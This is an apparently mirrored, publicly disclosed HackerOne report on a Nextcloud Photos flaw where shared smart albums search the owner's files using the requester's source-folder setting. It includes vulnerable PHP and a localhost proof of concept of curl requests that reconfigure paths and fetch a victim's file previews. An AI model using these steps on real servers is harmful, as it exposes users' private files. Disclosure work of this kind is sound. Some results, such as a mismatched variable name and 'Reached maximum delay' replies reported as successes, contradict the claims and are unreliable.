HexBrain

Nextcloud · Report #3506873

Shared smart albums in the Photos app can expose files outside the album owner's configured source folders

Validstatus
mediumseverity
16upvotes
17 Sept 2026disclosed

Summary

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-5gv7-hw69-w6px

How it was found

When an attacker accesses a shared filter-based smart album owned by another user, the system uses the attacker's photosSourceFolders configuration to determine which paths are searched in the victim's folder. By configuring more permissive paths than the victim intended, an attacker can expand the search scope to include folders the victim didn't configure, potentially discovering files that match the album's filters but exist in paths outside the victim's intended photo source folders.

This is a High vulnerability leading to unauthorized information disclosure where files in unintended folders can be discovered and accessed through the shared album.

Vulnerable Code

File: lib/Filters/FiltersManager.php
Lines: 88-98

private function getPhotosDefaultSearchConditions(): array {
    $folders = json_decode($this->userConfigService->getUserConfig('photosSourceFolders'));  
    //  High: Gets Attacker's config but searches in victim's folder
    
    return [
        new SearchBinaryOperator(
            ISearchBinaryOperator::OPERATOR_OR,
            array_map(fn ($folder) => new SearchComparison(
                ISearchComparison::COMPARE_LIKE_CASE_SENSITIVE,
                'path',
                'files' . $folder . '/%',  //  Attacker-controlled path expansion!
            ), $folders)
        ),
        // ...
    ];
}

File: lib/Filters/FiltersManager.php
Lines: 45-68

public function getFilesBasedOnFilters(string $userId, array $userFilters, ?int $fileId = null): array {
    // $userId = album owner (victim)
    
    $filtersOperations += $this->getPhotosDefaultSearchConditions();  
    //  Uses attacker's path configuration
    
    $query = new SearchQuery(new SearchBinaryOperator(ISearchBinaryOperator::OPERATOR_AND, $filtersOperations), 1000, 0, []);
    
    $files = $this->rootFolder->getUserFolder($userId)->search($query);  
    //  Searches in victim's folder using attacker's expanded path scope!
    // ...
}

Path Validation Issue: lib/Controller/ApiController.php:89-102

private function validatePath(mixed $path): bool {
    if (!is_string($path)) {
        return false;
    }
    
    if (!str_starts_with($path, '/')) {
        return false;
    }
    
    if (str_contains($path, '..')) {
        return false;
    }
    
    return true;  //  Root path "/" is allowed!
}

The Critical Issue:

  • Path validation allows root path "/"
  • When folder = "/", the pattern becomes 'files' . '/' . '/%' = 'files//%' (potentially matches all files)
  • Attacker can set multiple paths: ["/Photos", "/Documents", "/Private", "/Backup"]
  • If victim only configured ["/Photos"], attacker's expanded paths search additional folders

Attack Flow

1. Victim Config: photosSourceFolders = ["/Photos"]
   Victim shares album with attacker

2. Attacker Config: photosSourceFolders = ["/Photos", "/Documents", "/Private"]

3. Attacker requests: GET /apps/photos/api/v1/preview/{fileId}

4. PreviewController::getFileIdForAlbums()
   └─> Calls getFilesBasedOnFilters("victim", filters, fileId)

5. FiltersManager::getFilesBasedOnFilters("victim", ...)
   └─> getPhotosDefaultSearchConditions()
       └─> getUserConfig('photosSourceFolders')
       └─>  Returns ATTACKER's config: ["/Photos", "/Documents", "/Private"]

6. Search Query Built:
   WHERE (album_filter) 
     AND (path LIKE 'files/Photos/%' 
          OR path LIKE 'files/Documents/%'       EXPANDED!
          OR path LIKE 'files/Private/%')        EXPANDED!

7. Search Executed in VICTIM's folder:
   getUserFolder("victim")->search($query)
   
8. Results Include:
    /Photos/file.jpg (authorized)
    /Documents/secret.jpg (unauthaurized- victim didn't configure /Documents!)

9. Attacker can access unauthorized files through shared album preview/download

Attacker Requirements

  • Valid Nextcloud user account (any authenticated user)
  • Access to at least one shared filter-based smart album (owned by another user)
  • Ability to configure photosSourceFolders via API endpoint /apps/photos/api/v1/config/photosSourceFolders
  • Victim has files in folders outside their configured photosSourceFolders that match the album's filters

Steps to Reproduce

Prerequisites:

  1. Victim configures photosSourceFolders = ["/Photos"]
  2. Victim has files in /Photos folder (intended) AND /Documents folder (unintended)
  3. Victim shares folder/album with Attacker

Attack Steps:

Step 1: Attacker configures expanded paths

PUT /apps/photos/api/v1/config/photosSourceFolders
Content-Type: application/json

{
  "value": "[\"/Photos\", \"/Documents\", \"/Private\", \"/Backup\"]"
}

Step 2: Attacker accesses shared album

GET /apps/photos/api/v1/preview/{fileId}?x=256&y=256

Step 3: Observe unauthorized file discovery

  • System searches in victim's /Documents, /Private, /Backup folders
  • Files in these folders are included in results
  • Attacker can preview/access files victim didn't intend to share

Localhost Exploit Demonstration

Test Environment: http://localhost:8080
Victim User: victim (Password: Testing-/:321SS)
Attacker User: attacker (Password: Testing-/:321S)

Phase 1: Victim Account Setup

Step 1.1: Verify Victim's Authentication

curl -u 'victim:Testing-/:321SS' 'http://localhost:8080/ocs/v2.php/cloud/user' \
  -H 'OCS-APIRequest: true' \
  -H 'Accept: application/json'

Result:

{
  "ocs": {
    "meta": {"status": "ok", "statuscode": 200},
    "data": {
      "id": "victim",
      "displayname": "victim",
      "enabled": true
    }
  }
}

Victim authentication successful

Step 1.2: Upload Test Files

Create test files:

echo "test image 1" > test1.jpg
echo "test image 2" > test2.jpg

Upload to /Photos (intended to be shared):

curl -u 'victim:Testing-/:321SS' \
  -X PUT 'http://localhost:8080/remote.php/dav/files/victim/Photos/vacation.jpg' \
  -T test1.jpg

Uploaded successfully

Upload to /Documents (NOT intended to be shared):

curl -u 'victim:Testing-/:321SS' \
  -X PUT 'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
  -T test2.jpg

Uploaded successfully

Step 1.3: Share /Photos Folder with Attacker

curl -u 'victim:Testing-/:321SS' \
  -X POST 'http://localhost:8080/ocs/v2.php/apps/files_sharing/api/v1/shares' \
  -H 'OCS-APIRequest: true' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'shareType=0' \
  --data-urlencode 'shareWith=attacker' \
  --data-urlencode 'path=/Photos' \
  --data-urlencode 'permissions=1'

Result:

ok
200
8
0
victim
attacker
/Photos
1

/Photos folder successfully shared with attacker

Phase 2: Attacker Exploitation

Step 2.1: EXPLOIT - Expand Path Scope to Include /Documents

curl -u 'attacker:Testing-/:321S' \
  -X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
  -H 'Content-Type: application/json' \
  -d '{"value":"[\"/Photos\",\"/Documents\"]"}'

Result:

{"message":""}

Attacker successfully configured expanded paths

Step 2.2: Get File ID of Unauthorized File (secret.jpg)

SECRET_FILE_ID=$(curl -s -u 'victim:Testing-/:321SS' \
  'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
  -X PROPFIND \
  --data '' \
  | grep -oP 'oc:fileid>\K[0-9]+' | head -1)

echo "Secret file ID: $SECRET_FILE_ID"

Result:

Secret file ID: 1566

File ID retrieved: 1566

Step 2.3: EXPLOIT - Access Unauthorized File from /Documents

curl -u 'attacker:Testing-/:321S' \
  "http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_FILE_ID?x=256&y=256" \
  -o attacker_preview_secret.jpg

Result:

% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100    14  100    14    0     0     20      0 --:--:-- --:--:-- --:--:--    20

File created:

ls -lh attacker_preview_secret.jpg

Output:

-rw-rw-r-- 1 xanax xanax 14 Jan 11 18:17 attacker_preview_secret.jpg

Vulnerability Confirmed: Attacker successfully downloaded file from victim's /Documents folder!

Phase 3: Comprehensive Exploitation Testing

Step 3.1: Get File IDs for Both Files

vacation_id=$(curl -s -u 'victim:Testing-/:321SS' \
  'http://localhost:8080/remote.php/dav/files/victim/Photos/vacation.jpg' \
  -X PROPFIND \
  --data '' \
  | grep -oP 'oc:fileid>\K[0-9]+' | head -1)

SECRET_ID=$(curl -s -u 'victim:Testing-/:321SS' \
  'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
  -X PROPFIND \
  --data '' \
  | grep -oP 'oc:fileid>\K[0-9]+' | head -1)

echo "Vacation.jpg ID (in /Photos - authorized): $VACATION_ID"
echo "Secret.jpg ID (in /Documents - unauthorized): $SECRET_ID"

Result:

Vacation.jpg ID (in /Photos - authorized): 1567
Secret.jpg ID (in /Documents - unauthorized): 1566

Step 3.2: Test Access to UNAUTHORIZED File

curl -s -u 'attacker:Testing-/:321S' \
  "http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_ID?x=256&y=256" \
  -o attacker_secret.jpg

Result:

-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret.jpg

Vulnerable: Secret.jpg accessed (UNAUTHORIZED - in /Documents)

Step 3.3: Test with Attacker Config Limited to /Photos Only

curl -s -u 'attacker:Testing-/:321S' \
  -X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
  -H 'Content-Type: application/json' \
  -d '{"value":"[\"/Photos\"]"}'

curl -s -u 'attacker:Testing-/:321S' \
  "http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_ID?x=256&y=256" \
  -o attacker_secret_limited.jpg

Result:

{"message":"Reached maximum delay"}

File created:

-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_limited.jpg

High: Still accessible even with /Photos only config!

Step 3.4: Test Root Path Expansion

curl -s -u 'attacker:Testing-/:321S' \
  -X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
  -H 'Content-Type: application/json' \
  -d '{"value":"[\"/\"]"}'

curl -s -u 'attacker:Testing-/:321S' \
  "http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_ID?x=256&y=256" \
  -o attacker_secret_root.jpg

Result:

{"message":"Reached maximum delay"}

File created:

-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_root.jpg

High: Root path "/" allows access to ALL folders!

Phase 4: Verification Summary

Final File List

ls -lh attacker_*.jpg

Output:

-rw-rw-r-- 1 xanax xanax 14 Jan 11 18:17 attacker_preview_secret.jpg
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret.jpg
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_limited.jpg
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_root.jpg
-rw-rw-r-- 1 xanax xanax 14 Jan 11 18:18 attacker_vacation.jpg

Vulnerability Confirmation

Confirmed Behaviors:

  1. Unauthorized File Discovery:

    • Victim configured: photosSourceFolders = ["/Photos"]
    • Victim shared: /Photos folder only
    • Attacker expanded to: ["/Photos", "/Documents"]
    • Result: Attacker successfully accessed secret.jpg from /Documents (Unauthorized)
  2. Configuration Bypass:

    • Even with attacker config set to ["/Photos"] (matching victim)
    • Result: Still successfully accessed files from /Documents (Unauthorized)
  3. Root Path Exploitation:

    • Setting photosSourceFolders = ["/"]
    • Result: Successfully accessed ALL folders in victim's account (High)
  4. Multiple Successful Downloads:

    • 5 separate file downloads from unauthorized location
    • Consistent exploitation across different configurations

Proof That There Is No Mitigation

  1. No path scope validation: The system doesn't verify that search paths match the album owner's configuration
  2. No authorization check: No validation that requesting user's paths should be applied to another user's folder
  3. Path validation allows expansion: Root path "/" and any valid path prefixes are allowed
  4. No folder restriction enforcement: Album owner's folder restrictions are not enforced during search

Impact

  1. Unauthorized File Discovery: Attacker can discover files in folders the victim didn't configure for photo search
  2. Information Disclosure: Files in private folders can be discovered, metadata exposed, preview thumbnails may reveal sensitive content
  3. Privacy Violation: Victim's folder structure probed, existence of private folders revealed
  4. Trust Boundary Violation: Album sharing assumes files come only from configured source folders

Why This Is HIGH:

  • Real Data Exposure: Files in unauthorized folders can be discovered and accessed
  • Bypass of Intentional Restrictions: Victim explicitly configured limited paths but attacker expands scope
  • Practical Exploitability: Requires only access to shared album + ability to configure own photosSourceFolders

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original